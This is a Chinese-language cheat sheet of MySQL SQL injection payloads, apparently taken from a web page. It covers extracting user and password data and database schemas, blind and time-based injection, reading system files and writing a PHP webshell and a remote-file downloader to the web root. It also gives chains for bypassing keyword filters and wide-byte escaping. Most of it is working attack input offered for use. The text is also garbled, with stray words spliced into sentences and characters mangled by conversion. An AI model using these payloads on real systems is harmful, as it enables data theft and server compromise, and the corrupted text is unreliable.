mysql | 須要root權限讀取 |
information_schema | 在5以上的版本中存在 |
假:表示查詢是錯誤的 (MySQL 報錯/返回頁面與原來不一樣)php
真:表示查詢是正常的 (返回頁面與原來相同)mysql
共三種狀況:linux
字符串類型查詢時: | 數字類型查詢時: | 登錄時: | |||||||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|
|
例子:web
SELECT * FROM Users WHERE id = '1'''; SELECT * FROM Users WHERE id = 3-2; SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';
可使用不少單雙引號,只要是成對出現。正則表達式
SELECT * FROM Articles WHERE id = '121'''''''''''''
引號後的語句會繼續執行。sql
SELECT '1'''''"" UNION SELECT '2' # 1 and 2
下面的符號能夠用來註釋語句:shell
# | Hash 語法 |
/* | C-style 語法 |
-- - | SQL 語法 |
;%00 | 空字節 |
` | 反引號 |
例子:數據庫
SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = ''; SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';
VERSION() @@VERSION @@GLOBAL.VERSION
若是版本爲5的話,下面例子返回爲真:windows
SELECT * FROM Users WHERE id = '1' AND MID(VERSION(),1,1) = '5';
windows平臺上的mysql查詢與linux上返回不一樣,若是是windows服務器返回結果會包含 -nt-log字符。服務器
表 | mysql.user |
字段 | user, password |
當前用戶 | user(), current_user(), current_user, system_user(), session_user() |
例子:
SELECT current_user; SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = 'root'-- (Privileged)
表 | information_schema.schemata, mysql.db |
字段 | schema_name, db |
當前數據庫 | database(), schema() |
例子:
SELECT database(); SELECT schema_name FROM information_schema.schemata; SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)
@@HOSTNAME
例子:
SELECT @@hostname;
兩種方式:
ORDER BY判斷 | ORDER BY n+1; 讓n一直增長直到出現錯誤頁面。 例子: 查詢語句 SELECT username, password, permission FROM Users WHERE id = '1'; 1' ORDER BY 1--+ 真 1' ORDER BY 2--+ 真 1' ORDER BY 3--+ 真 1' ORDER BY 4--+ 假- 查詢只用了3個字段 -1' UNION SELECT 1,2,3--+ 真 |
基於錯誤查詢 | AND (SELECT * FROM SOME_EXISTING_TABLE) = 1 注意: 這種方式須要你知道所要查詢的表名。 這種報錯方式返回表的字段數,而不是錯誤的查詢語句。 例子: 查詢語句 SELECT permission FROM Users WHERE id = 1; AND (SELECT * FROM Users) = 1 返回Users的字段數 |
三種方式:
Union方式 | UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;-- MySQL 4版本時用version=9,MySQL 5版本時用version=10 |
盲注 | AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A' |
報錯 | AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));-- 在5.1.5版本中成功。 |
Union方式 | UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename' |
盲注 | AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A' |
報錯 | AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));-- 在5.1.5版本中成功。 AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)-- MySQL 5.1版本修復了 |
利用PROCEDURE ANALYSE() | 這個須要web展現頁面有你所注入查詢的一個字段。 例子: 查詢語句 SELECT username, permission FROM Users WHERE id = 1; 1 PROCEDURE ANALYSE() 得到第一個段名 1 LIMIT 1,1 PROCEDURE ANALYSE() 得到第二個段名 1 LIMIT 2,1 PROCEDURE ANALYSE() 得到第三個段名 |
SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x
例子:
SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';
輸出結果:
[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME [ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME [ information_schema ] >CHARACTER_SETS > DESCRIPTION [ information_schema ] >CHARACTER_SETS > MAXLEN [ information_schema ] >COLLATIONS > COLLATION_NAME [ information_schema ] >COLLATIONS > CHARACTER_SET_NAME [ information_schema ] >COLLATIONS > ID [ information_schema ] >COLLATIONS > IS_DEFAULT [ information_schema ] >COLLATIONS > IS_COMPILED
利用代碼:
SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns
例子:
SELECT username FROM Users WHERE id = '-1' UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns;
輸出結果:
Table: talk_revisions Column: revid Table: talk_revisions Column: userid Table: talk_revisions Column: user Table: talk_projects Column: priority
SELECT table_name FROM information_schema.columns WHERE column_name = 'username'; | 查詢字段爲username的表 |
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%'; | 查詢字段中包含user的表 |
SELECT column_name FROM information_schema.columns WHERE table_name = 'Users'; | 查詢user表中的字段 |
SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%'; | 查詢包含user字符串表中的字段 |
SELECT * FROM Users WHERE username = 0x61646D696E | Hex編碼 |
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110) | 利用CHAR()函數 |
SELECT 'a' 'd' 'mi' 'n'; |
SELECT CONCAT('a', 'd', 'm', 'i', 'n'); |
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n'); |
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n'); |
使用CONCAT()時,任何個參數爲null,將返回null, 推薦使用CONCAT_WS() 。
CONCAT_WS() 函數第一個參數表示用哪一個字符間隔所查詢的結果。
CASE |
IF() |
IFNULL() |
NULLIF() |
例子:
SELECT IF(1=1, true, false); SELECT CASE WHEN 1=1 THEN true ELSE false END;
SLEEP() | MySQL 5 |
BENCHMARK() | MySQL 4/5 |
例子:
' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '
下面的語句能夠查詢用戶讀寫文件操做權限:
SELECT file_priv FROM mysql.user WHERE user = 'username'; | 須要root用戶來執行 | MySQL 4/5 |
SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%'; | 普通用戶均可以 | MySQL 5 |
若是用戶有文件操做權限能夠讀取文件:
LOAD_FILE()
例子:
SELECT LOAD_FILE('/etc/passwd'); SELECT LOAD_FILE(0x2F6574632F706173737764);
若是用戶有文件操做權限能夠寫文件。
INTO OUTFILE/DUMPFILE
寫一個php的shell:
SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
訪問以下連接:
http://localhost/shell.php?c=cat%20/etc/passwd
寫一個下載者:
SELECT '<? fwrite(fopen($_GET[f], \'w\'), file_get_contents($_GET[u])); ?>' INTO OUTFILE '/var/www/get.php'
訪問以下連接:
http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt
PHP使用PDO_MYSQL來鏈接數據庫,即可以使用堆查詢,堆查詢能夠同時執行多個語句。
SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username,password,priv) VALUES ('BobbyTables', 'kl20da$$','admin');
MySql中,/*! SQL 語句 */ 這種格式裏面的 SQL 語句會當正常的語句同樣被解析。
若是在!以後是一串數字(這串數字就是 mysql 數據庫的版本號), 如:/*! 12345 SQL 語句 */
當版本號大於等於該數字,SQL 語句則執行,不然就不執行。
SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);
09 | Horizontal Tab |
0A | New Line |
0B | Vertical Tab |
0C | New Page |
0D | Carriage Return |
A0 | Non-breaking Space |
20 | Space |
例子:
'%0A%09UNION%0CSELECT%A0NULL%20%23
括號也能夠用來繞過過濾空格的狀況:
28 | ( |
29 | ) |
例子:
UNION(SELECT(column)FROM(table))
20 | Space |
2B | + |
2D | - |
7E | ~ |
21 | ! |
40 | @ |
例子:
SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))
dual是一個虛擬表,能夠用來作測試。
過濾關鍵字 | and or |
php代碼 | preg_match('/(and|or)/i',$id) |
會過濾的攻擊代碼 | 1 or 1=1 1 and 1=1 |
繞過方式 | 1 || 1=1 1 && 1=1 |
下面這種方式你須要已經知道一些表和字段名(能夠利用substring函數去一個一個得到information_schema.columns表中的數據)
過濾關鍵字 | and or union |
php代碼 | preg_match('/(and|or|union)/i',$id) |
會過濾的攻擊代碼 | union select user,password from users |
繞過方式 | 1 && (select user from users where userid=1)='admin' |
過濾關鍵字 | and or union where |
php代碼 | preg_match('/(and|or|union|where)/i',$id) |
會過濾的攻擊代碼 | 1 && (select user from users where user_id = 1) = 'admin' |
繞過方式 | 1 && (select user from users limit 1) = 'admin' |
過濾關鍵字 | and or union where |
php代碼 | preg_match('/(and|or|union|where)/i',$id) |
會過濾的攻擊代碼 | 1 && (select user from users where user_id = 1) = 'admin' |
繞過方式 | 1 && (select user from users limit 1) = 'admin' |
過濾關鍵字 | and, or, union, where, limit |
php代碼 | preg_match('/(and|or|union|where|limit)/i', $id) |
會過濾的攻擊代碼 | 1 && (select user from users limit 1) = 'admin' |
繞過方式 | 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id爲1的user爲admin |
過濾關鍵字 | and, or, union, where, limit, group by |
php代碼 | preg_match('/(and|or|union|where|limit|group by)/i', $id) |
會過濾的攻擊代碼 | 1 && (select user from users group by user_id having user_id = 1) = 'admin' |
繞過方式 | 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1 |
過濾關鍵字 | and, or, union, where, limit, group by, select |
php代碼 | preg_match('/(and|or|union|where|limit|group by|select)/i', $id) |
會過濾的攻擊代碼 | 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1 |
繞過方式 | 1 && substr(user,1,1) = 'a' |
過濾關鍵字 | and, or, union, where, limit, group by, select, ' |
php代碼 | preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id) |
會過濾的攻擊代碼 | 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1 |
繞過方式 | 1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61) |
過濾關鍵字 | and, or, union, where, limit, group by, select, ', hex |
php代碼 | preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id) |
會過濾的攻擊代碼 | 1 && substr(user,1,1) = unhex(61) |
繞過方式 | 1 && substr(user,1,1) = lower(conv(11,10,16)) #十進制的11轉化爲十六進制,並小寫。 |
過濾關鍵字 | and, or, union, where, limit, group by, select, ', hex, substr |
php代碼 | preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id) |
會過濾的攻擊代碼 | 1 && substr(user,1,1) = lower(conv(11,10,16))/td> |
繞過方式 | 1 && lpad(user,7,1) |
過濾關鍵字 | and, or, union, where, limit, group by, select, ', hex, substr, 空格 |
php代碼 | preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id) |
會過濾的攻擊代碼 | 1 && lpad(user,7,1)/td> |
繞過方式 | 1%0b||%0blpad(user,7,1) |
過濾關鍵字 | and or union where |
php代碼 | preg_match('/(and|or|union|where)/i',$id) |
會過濾的攻擊代碼 | 1 || (select user from users where user_id = 1) = 'admin' |
繞過方式 | 1 || (select user from users limit 1) = 'admin' |
咱們都已經知道,在MYSQL 5+中 information_schema庫中存儲了全部的 庫名,代表以及字段名信息。故攻擊方式以下:
一、判斷第一個表名的第一個字符是不是a-z中的字符,其中blind_sqli是假設已知的庫名。
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*
二、判斷第一個字符是不是a-n中的字符
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/*
三、肯定該字符爲n
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /*
四、表達式的更換以下
'^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE
這時說明表名爲news ,要驗證是不是該代表 正則表達式爲'^news$',可是沒這必要 直接判斷 table_name = 'news' 不就好了。
五、接下來猜解其它表了 只須要修改 limit 1,1 -> limit 2,1就能夠對接下來的表進行盲注了。
oder by因爲是排序語句,因此能夠利用條件語句作判斷,根據返回的排序結果不一樣判斷條件的真假。
通常帶有oder或者orderby的變量極可能是這種注入,在知道一個字段的時候能夠採用以下方式注入:
原始連接:http://www.test.com/list.php?order=vote 根據vote字段排序。
找到投票數最大的票數num而後構造如下連接:
http://www.test.com/list.php?order=abs(vote-(length(user())>0)*num)+asc
看排序是否變化。
還有一種方法不須要知道任何字段信息,使用rand函數:
http://www.test.com/list.php?order=rand(true) http://www.test.com/list.php?order=rand(false)
以上兩個會返回不一樣的排序,判斷表名中第一個字符是否小於128的語句以下:
http://www.test.com/list.php?order=rand((select char(substring(table_name,1,1)) from information_schema.tables limit 1)<=128))
sql注入中的寬字節國內最常使用的gbk編碼,這種方式主要是繞過addslashes等對特殊字符進行轉移的繞過。反斜槓()的十六進制爲%5c,在你輸入%bf%27時,函數遇到單引號自動轉移加入\,此時變爲%bf%5c%27,%bf%5c在gbk中變爲一個寬字符「縗」。%bf那個位置能夠是%81-%fe中間的任何字符。不止在sql注入中,寬字符注入在不少地方均可以應用。